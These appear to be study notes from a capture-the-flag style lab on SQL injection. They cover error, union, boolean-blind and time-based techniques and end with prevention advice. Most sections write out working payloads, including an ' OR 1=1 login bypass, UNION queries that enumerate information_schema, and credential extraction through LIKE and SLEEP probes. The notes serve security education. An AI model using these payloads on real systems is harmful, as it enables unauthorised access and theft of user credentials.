SQLi

SQL Injection is an attack on a web application DB server that causes malicious queries to be executed through the input that hasn't been properly validated.

Malicious queries can be used to steal, delete or alter private and customer data and also attack the web applications authentication methods to private or customer areas.

Example of SQLi ​

We have a blog post that is available under the URL:

https://website.thm/blog?id=1

We can see that the blog entry is selected with the id query param. We can guess the SQL statement used to retrieve the article from the DB is something like this:

SELECT * from blog where id=1 and private=0 LIMIT 1;

SQL Injection is introduced when user input is introduced into the DB query, In this case, it's the id parameter.

Let's pretend article id=2 is still locked as private, so it cannot be viewed on the website. We could now instead call the URL:

https://website.thm/blog?id=2;--

Which would then, in turn, produce the SQL statement:

SELECT * from blog where id=2;-- and private=0 LIMIT 1;

In-band SQLi ​

In-Band SQL Injection is the easiest type to detect and exploit.

Error-Based SQL Injection ​

Obtaining information about the DB structure as error messages from the DB printed directly to the browser screen.

The key to discovering error-based SQL Injection is to break the code's SQL query by trying certain characters until an error message is produced (most commonly ' or ").

Union-Based SQL Injection ​

This type of Injection utilises the SQL UNION operator alongside a SELECT statement to return additional results to the page.

Blind SQLi ​

Blind SQLi is when we get little to no feedback to confirm whether our injected queries were, in fact, successful or not. This is because the error messages have been disabled, but the injection still works regardless. All we need is a little bit of feedback to successful enumerate a whole DB.

Authentication Bypass ​

Often times login forms that are connected to a DB of users aren't interested in the content of the username and password but more whether the two make a matching pair in the users table.

With that in mindy, it's unnecessary to enumerate a valid username/password pair. We just need to create a DB query that replies with a true.

Let's say we have the query:

select * from users where username='%username%' and password='%password%' LIMIT 1;

To make this into a query that always returns as true, we can enter the following into the password field:

' OR 1=1;--

Which turns the SQL query into the following:

select * from users where username='' and password='' OR 1=1;

1=1 is a true statement so the query will return true.

Boolean-based Blind SQLi ​

Boolean-based SQLi refers to the response we receive back from our injection attempts which is boolean (in any form). That boolean value says if SQL Injection payload was successful or not.

With just two possible outcomes, it's possible to enumerate a whole DB structure and contents.

Let's say we have the SQL query that processes the login form to see if the username is already taken:

select * from users where username = '%username%' LIMIT 1;

And we have the boolean response in form of error message saying that the username is taken.

{
  "taken": true
}

First, we establish the number the number of columns in the users table with UNION statement:

admin123' UNION SELECT 1;--

If taken === false, we can confirm this is the incorrect value of columns. Keep on adding more columns until we have taken === true:

admin123' UNION SELECT 1,2,3;--

When the number of columns has been established, we can work on the enumeration of the DB.

First, we need to discover the DB name. We can do this by using the built-in database() method and then using the UNION operator to try and find results that will return a true status:

admin123' UNION SELECT 1,2,3 where database() like 'a%';--

In the example above, we try to see if the DB name starts witha. We can cycle through all the letters, numbers and -and` characters until we discover a match. Thanks to that we can _brute-force the name of the DB.

When we have established the DB name, we can use it to enumerate table names using a similar method by utilising the information_schema DB:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema='sqli_three' and table_name like 'a%';--`

This query looks for results in the information_schema DB in the tables table where the DB name matches sqli_three, and the table name begins with a. Like previously, we'll need to cycle through letters, numbers and characters until a positive match.

Let's say we've discovered a users table in the sqli_three DB this way. We can confirm its existence with the following username payload:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

Lastly, we need to enumerate the column names in the users table so we can properly search it for login credentials. Again using the information_schema DB and the information we've already gained, we can start querying it for column names. Using the payload below, we search the columns table where the DB is equal to sqli_three, the table name is users, and the column name begins with a.

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';`

As we're looking for multiple results, we'll have to add this to our payload each time we find a new column name, not to keep discovering the same one:

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';`

Let's assume we've enumerated 3 columns this way: id, username and password. Now we can use them to query the users table for login credentials, starting with username, then password:

admin123' UNION SELECT 1,2,3 from users where username like 'a%

-- username is `admin`
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

Time-based SQLi ​

A time-based blind SQL Injection is very similar to the Boolean Based Blind SQLi. The same requests are sent, and there is no visual indicator queries being right. In this case however, the indicator of a correct query is based on the time the query takes to complete.

This time delay is introduced by using built-in methods such as sleep() alongside the UNION statement. sleep will only get executed upon a successful UNION SELECT statement, for example:

admin123' UNION SELECT SLEEP(5);--

If there was no pause in the response time, we know that the query was unsuccessful, so we add another column:

admin123' UNION SELECT SLEEP(5),2;--

This payload should have produced a 5-second time delay, which confirms the successful execution of the UNION statement and that there are two columns.

Thanks to that we could go through enumeration process similar to the one in the Boolean-based Blind SQLi, adding the SLEEP() method into the UNION SELECT statement:

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--`

Out-of-band SQLi ​

Out-of-Band SQLi isn't as common as it either depends on specific features being enabled on the database server or the web application's business logic, which makes some kind of external network call based on the results from an SQL query.

Preventing SQLi ​

• Prepared Statements (With Parameterized Queries):
  • the first thing a developer writes is the SQL query and then any user inputs are added as a parameter afterwards
    • this ensures that the SQL code structure doesn't change and the database can distinguish between the query and the data
• Input validation
  • an allow list can restrict input to only certain strings
  • a string replacement method in the programming language can filter the disallowed characters out
• Escaping User Input
  • prepending a \ to special characters characters causes them to be parsed just as a regular string and not a special character